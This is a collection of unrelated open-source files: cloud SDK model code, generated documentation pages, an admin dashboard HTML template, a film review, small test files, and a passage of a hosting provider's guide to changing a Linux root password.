* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
namespace TencentCloud.Tsf.V20180326.Models
{
using Newtonsoft.Json;
using System.Collections.Generic;
using TencentCloud.Common;
public class DeletePkgsRequest : AbstractModel
{
/// <summary>
/// 应用ID
/// </summary>
[JsonProperty("ApplicationId")]
public string ApplicationId{ get; set; }
/// <summary>
/// 需要删除的程序包ID列表
/// </summary>
[JsonProperty("PkgIds")]
public string[] PkgIds{ get; set; }
/// <summary>
/// 程序包仓库类型
/// </summary>
[JsonProperty("RepositoryType")]
public string RepositoryType{ get; set; }
/// <summary>
/// 程序包仓库id
/// </summary>
[JsonProperty("RepositoryId")]
public string RepositoryId{ get; set; }
/// <summary>
/// For internal usage only. DO NOT USE IT.
/// </summary>
internal override void ToMap(Dictionary<string, string> map, string prefix)
{
this.SetParamSimple(map, prefix + "ApplicationId", this.ApplicationId);
this.SetParamArraySimple(map, prefix + "PkgIds.", this.PkgIds);
this.SetParamSimple(map, prefix + "RepositoryType", this.RepositoryType);
this.SetParamSimple(map, prefix + "RepositoryId", this.RepositoryId);
}
}
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0) on Thu Sep 29 14:31:09 EDT 2016 -->
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Uses of Class org.owasp.appsensor.integration.springsecurity.context.AppSensorSecurityContextRepository (appsensor-parent 2.3.0 API)</title>
<meta name="date" content="2016-09-29">
<link rel="stylesheet" type="text/css" href="../../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class org.owasp.appsensor.integration.springsecurity.context.AppSensorSecurityContextRepository (appsensor-parent 2.3.0 API)";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<div class="header">
<h2 title="Uses of Class org.owasp.appsensor.integration.springsecurity.context.AppSensorSecurityContextRepository" class="title">Uses of Class<br>org.owasp.appsensor.integration.springsecurity.context.AppSensorSecurityContextRepository</h2>
</div>
<div class="classUseContainer">No usage of org.owasp.appsensor.integration.springsecurity.context.AppSensorSecurityContextRepository</div>
<p class="legalCopy"><small>Copyright © 2016 <a href="http://www.owasp.org">The Open Web Application Security Project (OWASP)</a>. All rights reserved.</small></p>
</body>
</html>
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<!-- Basic Page Info -->
<meta charset="utf-8">
<title>DeskApp - Bootstrap Admin Dashboard HTML Template</title>
<!-- Site favicon -->
<link rel="apple-touch-icon" sizes="180x180" href="vendors/images/apple-touch-icon.png">
<link rel="icon" type="image/png" sizes="32x32" href="vendors/images/favicon-32x32.png">
<link rel="icon" type="image/png" sizes="16x16" href="vendors/images/favicon-16x16.png">
<!-- Mobile Specific Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<!-- Google Font -->
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<!-- CSS -->
<link rel="stylesheet" type="text/css" href="vendors/styles/core.css">
<link rel="stylesheet" type="text/css" href="vendors/styles/icon-font.min.css">
<link rel="stylesheet" type="text/css" href="vendors/styles/style.css">
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-119386393-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-119386393-1');
</script>
</head>
<body>
<div class="pre-loader">
<div class="pre-loader-box">
<div class="loader-logo"><img src="vendors/images/deskapp-logo.svg" alt=""></div>
<div class='loader-progress' id="progress_div">
<div class='bar' id='bar1'></div>
</div>
<div class='percent' id='percent1'>0%</div>
<div class="loading-text">
Loading...
</div>
</div>
</div>
<div class="header">
<div class="header-left">
<div class="menu-icon dw dw-menu"></div>
<div class="search-toggle-icon dw dw-search2" data-toggle="header_search"></div>
<div class="header-search">
<form>
<div class="form-group mb-0">
<i class="dw dw-search2 search-icon"></i>
<input type="text" class="form-control search-input" placeholder="Search Here">
<div class="dropdown">
<a class="dropdown-toggle no-arrow" href="#" role="button" data-toggle="dropdown">
<i class="ion-arrow-down-c"></i>
</a>
<div class="dropdown-menu dropdown-menu-right">
<div class="form-group row">
<label class="col-sm-12 col-md-2 col-form-label">From</label>
<div class="col-sm-12 col-md-10">
<input class="form-control form-control-sm form-control-line" type="text">
</div>
</div>
<div class="form-group row">
<label class="col-sm-12 col-md-2 col-form-label">To</label>
<div class="col-sm-12 col-md-10">
<input class="form-control form-control-sm form-control-line" type="text">
</div>
</div>
<div class="form-group row">
<label class="col-sm-12 col-md-2 col-form-label">Subject</label>
<div class="col-sm-12 col-md-10">
<input class="form-control form-control-sm form-control-line" type="text">
</div>
</div>
<div class="text-right">
<button class="btn btn-primary">Search</button>
</div>
</div>
</div>
</div>
</form>
</div>
</div>
<div class="header-right">
<div class="dashboard-setting user-notification">
<div class="dropdown">
<a class="dropdown-toggle no-arrow" href="javascript:;" data-toggle="right-sidebar">
<i class="dw dw-settings2"></i>
</a>
</div>
</div>
<div class="user-notification">
<div class="dropdown">
<a class="dropdown-toggle no-arrow" href="#" role="button" data-toggle="dropdown">
<i class="icon-copy dw dw-notification"></i>
<span class="badge notification-active"></span>
</a>
<div class="dropdown-menu dropdown-menu-right">
<div class="notification-list mx-h-350 customscroll">
<ul>
<li>
<a href="#">
<img src="vendors/images/img.jpg" alt="">
<h3>John Doe</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed...</p>
</a>
</li>
<li>
<a href="#">
<img src="vendors/images/photo1.jpg" alt="">
<h3>Lea R. Frith</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed...</p>
</a>
</li>
<li>
<a href="#">
<img src="vendors/images/photo2.jpg" alt="">
<h3>Erik L. Richards</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed...</p>
</a>
</li>
<li>
<a href="#">
<img src="vendors/images/photo3.jpg" alt="">
<h3>John Doe</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed...</p>
</a>
</li>
<li>
<a href="#">
<img src="vendors/images/photo4.jpg" alt="">
<h3>Renee I. Hansen</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed...</p>
</a>
</li>
<li>
<a href="#">
<img src="vendors/images/img.jpg" alt="">
<h3>Vicki M. Coleman</h3>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed...</p>
</a>
</li>
</ul>
</div>
</div>
</div>
</div>
<div class="user-info-dropdown">
<div class="dropdown">
<a class="dropdown-toggle" href="#" role="button" data-toggle="dropdown">
<span class="user-icon">
<img src="vendors/images/photo1.jpg" alt="">
</span>
<span class="user-name">Ross C. Lopez</span>
</a>
<div class="dropdown-menu dropdown-menu-right dropdown-menu-icon-list">
<a class="dropdown-item" href="profile.html"><i class="dw dw-user1"></i> Profile</a>
<a class="dropdown-item" href="profile.html"><i class="dw dw-settings2"></i> Setting</a>
<a class="dropdown-item" href="faq.html"><i class="dw dw-help"></i> Help</a>
<a class="dropdown-item" href="login.html"><i class="dw dw-logout"></i> Log Out</a>
</div>
</div>
</div>
<div class="github-link">
<a href="https://github.com/dropways/deskapp" target="_blank"><img src="vendors/images/github.svg" alt=""></a>
</div>
</div>
</div>
<div class="right-sidebar">
<div class="sidebar-title">
<h3 class="weight-600 font-16 text-blue">
Layout Settings
<span class="btn-block font-weight-400 font-12">User Interface Settings</span>
</h3>
<div class="close-sidebar" data-toggle="right-sidebar-close">
<i class="icon-copy ion-close-round"></i>
</div>
</div>
<div class="right-sidebar-body customscroll">
<div class="right-sidebar-body-content">
<h4 class="weight-600 font-18 pb-10">Header Background</h4>
<div class="sidebar-btn-group pb-30 mb-10">
<a href="javascript:void(0);" class="btn btn-outline-primary header-white active">White</a>
<a href="javascript:void(0);" class="btn btn-outline-primary header-dark">Dark</a>
</div>
<h4 class="weight-600 font-18 pb-10">Sidebar Background</h4>
<div class="sidebar-btn-group pb-30 mb-10">
<a href="javascript:void(0);" class="btn btn-outline-primary sidebar-light ">White</a>
<a href="javascript:void(0);" class="btn btn-outline-primary sidebar-dark active">Dark</a>
</div>
<h4 class="weight-600 font-18 pb-10">Menu Dropdown Icon</h4>
<div class="sidebar-radio-group pb-10 mb-10">
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebaricon-1" name="menu-dropdown-icon" class="custom-control-input" value="icon-style-1" checked="">
<label class="custom-control-label" for="sidebaricon-1"><i class="fa fa-angle-down"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebaricon-2" name="menu-dropdown-icon" class="custom-control-input" value="icon-style-2">
<label class="custom-control-label" for="sidebaricon-2"><i class="ion-plus-round"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebaricon-3" name="menu-dropdown-icon" class="custom-control-input" value="icon-style-3">
<label class="custom-control-label" for="sidebaricon-3"><i class="fa fa-angle-double-right"></i></label>
</div>
</div>
<h4 class="weight-600 font-18 pb-10">Menu List Icon</h4>
<div class="sidebar-radio-group pb-30 mb-10">
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebariconlist-1" name="menu-list-icon" class="custom-control-input" value="icon-list-style-1" checked="">
<label class="custom-control-label" for="sidebariconlist-1"><i class="ion-minus-round"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebariconlist-2" name="menu-list-icon" class="custom-control-input" value="icon-list-style-2">
<label class="custom-control-label" for="sidebariconlist-2"><i class="fa fa-circle-o" aria-hidden="true"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebariconlist-3" name="menu-list-icon" class="custom-control-input" value="icon-list-style-3">
<label class="custom-control-label" for="sidebariconlist-3"><i class="dw dw-check"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebariconlist-4" name="menu-list-icon" class="custom-control-input" value="icon-list-style-4" checked="">
<label class="custom-control-label" for="sidebariconlist-4"><i class="icon-copy dw dw-next-2"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebariconlist-5" name="menu-list-icon" class="custom-control-input" value="icon-list-style-5">
<label class="custom-control-label" for="sidebariconlist-5"><i class="dw dw-fast-forward-1"></i></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="sidebariconlist-6" name="menu-list-icon" class="custom-control-input" value="icon-list-style-6">
<label class="custom-control-label" for="sidebariconlist-6"><i class="dw dw-next"></i></label>
</div>
</div>
<div class="reset-options pt-30 text-center">
<button class="btn btn-danger" id="reset-settings">Reset Settings</button>
</div>
</div>
</div>
</div>
<div class="left-side-bar">
<div class="brand-logo">
<a href="index.html">
<img src="vendors/images/deskapp-logo.svg" alt="" class="dark-logo">
<img src="vendors/images/deskapp-logo-white.svg" alt="" class="light-logo">
</a>
<div class="close-sidebar" data-toggle="left-sidebar-close">
<i class="ion-close-round"></i>
</div>
</div>
<div class="menu-block customscroll">
<div class="sidebar-menu">
<ul id="accordion-menu">
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-house-1"></span><span class="mtext">Home</span>
</a>
<ul class="submenu">
<li><a href="index.html">Dashboard style 1</a></li>
<li><a href="index2.html">Dashboard style 2</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-edit2"></span><span class="mtext">Forms</span>
</a>
<ul class="submenu">
<li><a href="form-basic.html">Form Basic</a></li>
<li><a href="advanced-components.html">Advanced Components</a></li>
<li><a href="form-wizard.html">Form Wizard</a></li>
<li><a href="html5-editor.html">HTML5 Editor</a></li>
<li><a href="form-pickers.html">Form Pickers</a></li>
<li><a href="image-cropper.html">Image Cropper</a></li>
<li><a href="image-dropzone.html">Image Dropzone</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-library"></span><span class="mtext">Tables</span>
</a>
<ul class="submenu">
<li><a href="basic-table.html">Basic Tables</a></li>
<li><a href="datatable.html">DataTables</a></li>
</ul>
</li>
<li>
<a href="calendar.html" class="dropdown-toggle no-arrow">
<span class="micon dw dw-calendar1"></span><span class="mtext">Calendar</span>
</a>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-apartment"></span><span class="mtext"> UI Elements </span>
</a>
<ul class="submenu">
<li><a href="ui-buttons.html">Buttons</a></li>
<li><a href="ui-cards.html">Cards</a></li>
<li><a href="ui-cards-hover.html">Cards Hover</a></li>
<li><a href="ui-modals.html">Modals</a></li>
<li><a href="ui-tabs.html">Tabs</a></li>
<li><a href="ui-tooltip-popover.html">Tooltip & Popover</a></li>
<li><a href="ui-sweet-alert.html">Sweet Alert</a></li>
<li><a href="ui-notification.html">Notification</a></li>
<li><a href="ui-timeline.html">Timeline</a></li>
<li><a href="ui-progressbar.html">Progressbar</a></li>
<li><a href="ui-typography.html">Typography</a></li>
<li><a href="ui-list-group.html">List group</a></li>
<li><a href="ui-range-slider.html">Range slider</a></li>
<li><a href="ui-carousel.html">Carousel</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-paint-brush"></span><span class="mtext">Icons</span>
</a>
<ul class="submenu">
<li><a href="font-awesome.html">FontAwesome Icons</a></li>
<li><a href="foundation.html">Foundation Icons</a></li>
<li><a href="ionicons.html">Ionicons Icons</a></li>
<li><a href="themify.html">Themify Icons</a></li>
<li><a href="custom-icon.html">Custom Icons</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-analytics-21"></span><span class="mtext">Charts</span>
</a>
<ul class="submenu">
<li><a href="highchart.html">Highchart</a></li>
<li><a href="knob-chart.html">jQuery Knob</a></li>
<li><a href="jvectormap.html">jvectormap</a></li>
<li><a href="apexcharts.html">Apexcharts</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-right-arrow1"></span><span class="mtext">Additional Pages</span>
</a>
<ul class="submenu">
<li><a href="video-player.html">Video Player</a></li>
<li><a href="login.html">Login</a></li>
<li><a href="forgot-password.html">Forgot Password</a></li>
<li><a href="reset-password.html">Reset Password</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-browser2"></span><span class="mtext">Error Pages</span>
</a>
<ul class="submenu">
<li><a href="400.html">400</a></li>
<li><a href="403.html">403</a></li>
<li><a href="404.html">404</a></li>
<li><a href="500.html">500</a></li>
<li><a href="503.html">503</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-copy"></span><span class="mtext">Extra Pages</span>
</a>
<ul class="submenu">
<li><a href="blank.html">Blank</a></li>
<li><a href="contact-directory.html">Contact Directory</a></li>
<li><a href="blog.html">Blog</a></li>
<li><a href="blog-detail.html">Blog Detail</a></li>
<li><a href="product.html">Product</a></li>
<li><a href="product-detail.html">Product Detail</a></li>
<li><a href="faq.html">FAQ</a></li>
<li><a href="profile.html">Profile</a></li>
<li><a href="gallery.html">Gallery</a></li>
<li><a href="pricing-table.html">Pricing Tables</a></li>
</ul>
</li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-list3"></span><span class="mtext">Multi Level Menu</span>
</a>
<ul class="submenu">
<li><a href="javascript:;">Level 1</a></li>
<li><a href="javascript:;">Level 1</a></li>
<li><a href="javascript:;">Level 1</a></li>
<li class="dropdown">
<a href="javascript:;" class="dropdown-toggle">
<span class="micon fa fa-plug"></span><span class="mtext">Level 2</span>
</a>
<ul class="submenu child">
<li><a href="javascript:;">Level 2</a></li>
<li><a href="javascript:;">Level 2</a></li>
</ul>
</li>
<li><a href="javascript:;">Level 1</a></li>
<li><a href="javascript:;">Level 1</a></li>
<li><a href="javascript:;">Level 1</a></li>
</ul>
</li>
<li>
<a href="sitemap.html" class="dropdown-toggle no-arrow">
<span class="micon dw dw-diagram"></span><span class="mtext">Sitemap</span>
</a>
</li>
<li>
<a href="chat.html" class="dropdown-toggle no-arrow">
<span class="micon dw dw-chat3"></span><span class="mtext">Chat</span>
</a>
</li>
<li>
<a href="invoice.html" class="dropdown-toggle no-arrow">
<span class="micon dw dw-invoice"></span><span class="mtext">Invoice</span>
</a>
</li>
<li>
<div class="dropdown-divider"></div>
</li>
<li>
<div class="sidebar-small-cap">Extra</div>
</li>
<li>
<a href="javascript:;" class="dropdown-toggle">
<span class="micon dw dw-edit-2"></span><span class="mtext">Documentation</span>
</a>
<ul class="submenu">
<li><a href="introduction.html">Introduction</a></li>
<li><a href="getting-started.html">Getting Started</a></li>
<li><a href="color-settings.html">Color Settings</a></li>
<li><a href="third-party-plugins.html">Third Party Plugins</a></li>
</ul>
</li>
<li>
<a href="https://dropways.github.io/deskapp-free-single-page-website-template/" target="_blank" class="dropdown-toggle no-arrow">
<span class="micon dw dw-paper-plane1"></span>
<span class="mtext">Landing Page <img src="vendors/images/coming-soon.png" alt="" width="25"></span>
</a>
</li>
</ul>
</div>
</div>
</div>
<div class="mobile-menu-overlay"></div>
<div class="main-container">
<div class="pd-ltr-20 xs-pd-20-10">
<div class="min-height-200px">
<div class="page-header">
<div class="row">
<div class="col-md-6 col-sm-12">
<div class="title">
<h4>Charts</h4>
</div>
<nav aria-label="breadcrumb" role="navigation">
<ol class="breadcrumb">
<li class="breadcrumb-item"><a href="index.html">Home</a></li>
<li class="breadcrumb-item active" aria-current="page">Charts</li>
</ol>
</nav>
</div>
<div class="col-md-6 col-sm-12 text-right">
<div class="dropdown">
<a class="btn btn-primary dropdown-toggle" href="#" role="button" data-toggle="dropdown">
January 2020
</a>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="#">Export List</a>
<a class="dropdown-item" href="#">Policies</a>
<a class="dropdown-item" href="#">View Assets</a>
</div>
</div>
</div>
</div>
</div>
<div class="row clearfix progress-box">
<div class="col-lg-3 col-md-6 col-sm-12 mb-30">
<div class="card-box pd-30 height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial1" value="80" data-width="120" data-height="120" data-linecap="round" data-thickness="0.12" data-bgColor="#fff" data-fgColor="#1b00ff" data-angleOffset="180" readonly>
<h5 class="text-blue padding-top-10 h5">My Earnings</h5>
<span class="d-block">80% Average <i class="fa fa-line-chart text-blue"></i></span>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-12 mb-30">
<div class="card-box pd-30 height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial2" value="70" data-width="120" data-height="120" data-linecap="round" data-thickness="0.12" data-bgColor="#fff" data-fgColor="#00e091" data-angleOffset="180" readonly>
<h5 class="text-light-green padding-top-10 h5">Business Captured</h5>
<span class="d-block">75% Average <i class="fa text-light-green fa-line-chart"></i></span>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-12 mb-30">
<div class="card-box pd-30 height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial3" value="90" data-width="120" data-height="120" data-linecap="round" data-thickness="0.12" data-bgColor="#fff" data-fgColor="#f56767" data-angleOffset="180" readonly>
<h5 class="text-light-orange padding-top-10 h5">Projects Speed</h5>
<span class="d-block">90% Average <i class="fa text-light-orange fa-line-chart"></i></span>
</div>
</div>
</div>
<div class="col-lg-3 col-md-6 col-sm-12 mb-30">
<div class="card-box pd-30 height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial4" value="65" data-width="120" data-height="120" data-linecap="round" data-thickness="0.12" data-bgColor="#fff" data-fgColor="#a683eb" data-angleOffset="180" readonly>
<h5 class="text-light-purple padding-top-10 h5">Panding Orders</h5>
<span class="d-block">65% Average <i class="fa text-light-purple fa-line-chart"></i></span>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-xl-6 col-lg-6 col-md-12 col-sm-12 mb-30">
<div class="pd-20 card-box height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial5" value="35" data-width="220" data-height="220" data-thickness="0.08" data-fgColor="#a683eb" data-cursor="true">
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-12 col-sm-12 mb-30">
<div class="pd-20 card-box height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial5" value="35" data-width="220" data-height="220" data-thickness="0.08" data-fgColor="#f56767" data-angleOffset="90" data-linecap="round">
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-12 col-sm-12 mb-30">
<div class="pd-20 card-box height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial5" value="35" data-width="220" data-height="220" data-thickness="0.02" data-fgColor="#f56767" data-skin="tron" data-angleOffset="180">
</div>
</div>
</div>
<div class="col-xl-6 col-lg-6 col-md-12 col-sm-12 mb-30">
<div class="pd-20 card-box height-100-p">
<div class="progress-box text-center">
<input type="text" class="knob dial5" value="35" data-width="220" data-height="220" data-thickness="0.08" data-fgColor="#0099ff" data-angleOffset="-125" data-angleArc="250" data-rotation="anticlockwise">
</div>
</div>
</div>
</div>
</div>
<div class="footer-wrap pd-20 mb-20 card-box">
DeskApp - Bootstrap 4 Admin Template By <a href="https://github.com/dropways" target="_blank">Ankit Hingarajiya</a>
</div>
</div>
</div>
<!-- js -->
<script src="vendors/scripts/core.js"></script>
<script src="vendors/scripts/script.min.js"></script>
<script src="vendors/scripts/process.js"></script>
<script src="vendors/scripts/layout-settings.js"></script>
<script src="src/plugins/jQuery-Knob-master/jquery.knob.min.js"></script>
<script src="vendors/scripts/knob-chart-setting.js"></script>
</body>
</html> | {
"pile_set_name": "Github"
} |
tommy lee jones chases an innocent victim around america who is trying to prove that she did not kill her spouse .
the fugitive ?
not quite ? this is the plot for double jeopardy , another fugitive copycat without the action , excitement , and good acting that the original had .
there are other slight differences besides one movie being bad and the other good ; this time tommy lee jones plays a parole officer not a us marshall , clever huh ?
oh and the fugitive ashley judd was framed by her own husband ( bruce greenwood ) who needed to collect two million dollars in life insurance money not a one armed man .
both movies are on video .
make the wise choice and pick the fugitive .
there are so many flaws in double jeopardy , it is laughable .
while serving time in prison , libby parsons ( judd ) discovers that she can never be charged for committing the same crime twice .
learning that her husband is still alive , she decides to serve her time in prison , find him , retrieve her son , and kill her husband if necessary .
when the strict parole officer travis lehman ( jones ) stands in her way , libby decides to break the rules ( who knows why ? ) and continue her plan , despite the fact that if she gets caught , she's going back to jail .
director bruce beresford spends way too much time trying to convince the audience that libby misses her son .
every other scene , we are given a shot of libby staring and crying at his picture .
in an action movie like this , valuable time wasted on these shots takes away more opportunities for libby to get up and do something .
all that is needed in this type of movie is a short scene in which libby tells herself or a friend " i miss my son . "
nothing more , nothing less .
dr . kimble of the fugitive didn't look at one picture of his dead wife , his primary concern was to save himself .
libby at times shows this same determination but not nearly enough .
ashley judd and bruce greenwood both are excellent actors but if they continue to do movies like this , they will be typecast for the rest of their careers , kind of like their doomed co-star tommy lee jones .
winning an oscar for the fugitive must have convinced jones that audiences will never get tired of his i-do-my-job-whether-they-are-innocent-or-guilty roles .
people still pay to see his movies and he makes plenty of money so i guess he was right .
though i don't think he will win another oscar again .
the ultimate mistake in the script is what eventually becomes of libby parsons .
even if she was excused for disobeying her parole officer , the number of other crimes she commits while on the run are too numerous to count .
burglary , assault , grand theft auto are some of libby's slipups .
the message of the movie is you can break all of the small laws as long as you're innocent of the major crime .
hopefully criminals won't use double jeopardy as a reference in court for why they are innocent .
that would just be plain stupid .
| {
"pile_set_name": "Github"
} |
# Simp
**This page has moved to the
[leanprover-community website](https://leanprover-community.github.io/extras/simp.html).**
| {
"pile_set_name": "Github"
} |
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef EXTENSIONS_BROWSER_BLOCKED_ACTION_TYPE_H_
#define EXTENSIONS_BROWSER_BLOCKED_ACTION_TYPE_H_
namespace extensions {
// Types of actions that an extension can perform that can be blocked (typically
// while waiting for user action).
enum BlockedActionType {
BLOCKED_ACTION_NONE = 0,
BLOCKED_ACTION_SCRIPT_AT_START = 1 << 0,
BLOCKED_ACTION_SCRIPT_OTHER = 1 << 1,
BLOCKED_ACTION_WEB_REQUEST = 1 << 2,
};
} // namespace extensions
#endif // EXTENSIONS_BROWSER_BLOCKED_ACTION_TYPE_H_
| {
"pile_set_name": "Github"
} |
int printf(char *fmt);
int fred() {
return(5);
}
void main() {
int x;
x= fred(2);
printf("%d\n", x);
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta name="generator" content="Doxygen 1.8.14"/>
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="classes_8.js"></script>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div id="SRResults"></div>
<script type="text/javascript"><!--
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
createResults();
/* @license-end */
--></script>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
/* @license-end */
--></script>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
const assert = require('assert');
module.exports = {
description: 'allows to read and modify options in the options hook',
options: {
input: 'unused',
treeshake: false,
plugins: {
name: 'test-plugin',
buildStart(options) {
assert.deepStrictEqual(JSON.parse(JSON.stringify(options)), {
acorn: {
allowAwaitOutsideFunction: true,
ecmaVersion: 2020,
preserveParens: false,
sourceType: 'module'
},
acornInjectPlugins: [null, null, null],
context: 'undefined',
experimentalCacheExpiry: 10,
input: ['used'],
perf: false,
plugins: [
{
name: 'test-plugin'
}
],
preserveEntrySignatures: 'strict',
preserveSymlinks: false,
shimMissingExports: false,
strictDeprecations: true,
treeshake: false
});
assert.ok(/^\d+\.\d+\.\d+/.test(this.meta.rollupVersion));
assert.strictEqual(this.meta.watchMode, false);
},
options(options) {
assert.deepStrictEqual(JSON.parse(JSON.stringify(options)), {
input: 'unused',
plugins: {
name: 'test-plugin'
},
strictDeprecations: true,
treeshake: false
});
assert.ok(/^\d+\.\d+\.\d+/.test(this.meta.rollupVersion));
assert.strictEqual(this.meta.watchMode, false);
return Object.assign({}, options, { input: 'used' });
}
}
}
};
| {
"pile_set_name": "Github"
} |
<Application
x:Class="SampleApp.WinPhone.App"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:phone="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone"
xmlns:shell="clr-namespace:Microsoft.Phone.Shell;assembly=Microsoft.Phone">
<!--Application Resources-->
<Application.Resources>
<local:LocalizedStrings xmlns:local="clr-namespace:SampleApp.WinPhone" x:Key="LocalizedStrings"/>
</Application.Resources>
<Application.ApplicationLifetimeObjects>
<!--Required object that handles lifetime events for the application-->
<shell:PhoneApplicationService
Launching="Application_Launching" Closing="Application_Closing"
Activated="Application_Activated" Deactivated="Application_Deactivated"/>
</Application.ApplicationLifetimeObjects>
</Application>
| {
"pile_set_name": "Github"
} |
---
title: Changing the root password on a Linux dedicated server
slug: root-password
excerpt: This guide will show you how to change the root password on a Linux dedicated server.
section: Server Management
---
**Last updated 20th June 2018**
## Objective
When you install or reinstall a distribution or operating system, you are given a root access password. We strongly recommend that you change it, as detailed in our guide to [securing a Dedicated Server](https://docs.ovh.com/gb/en/dedicated/securing-a-dedicated-server/#change-the-password-associated-with-the-root-user){.external}. You may also find that you have lost this password, and need to change it.
**This guide will take you through both scenarios and show you how to change the root password of your sever.**
## Requirements
* a [dedicated server](https://www.ovh.co.uk/dedicated_servers/){.external}
* administrative (root) access to the server via SSH
* access to the [OVH Control Panel](https://www.ovh.com/auth/?action=gotomanager){.external}
## Instructions
### Changing the password with root access
If you have root access with your current password and simply want to change it, then establish an SSH connection to the server via the command line and type the following command:
```sh
# passwd
```
Next, enter your new password twice, as shown below:
```sh
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
```
> [!primary]
>
> Please note that on a Linux distribution, the characters of your password **will not appear** as you type them.
>
### Changing a password after you have lost it
#### Step 1: Identify the system partition
After putting your server into [rescue mode](https://docs.ovh.com/gb/en/dedicated/rescue_mode/){.external}, you will need to identify the system partition. You can do this with the following command:
```sh
# fdisk -l
Disk /dev/hda 40.0 GB, 40020664320 bytes
255 heads, 63 sectors/track, 4865 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks Id System
/dev/hda1 * 1 1305 10482381 83 Linux
/dev/hda2 1306 4800 28073587+ 83 Linux
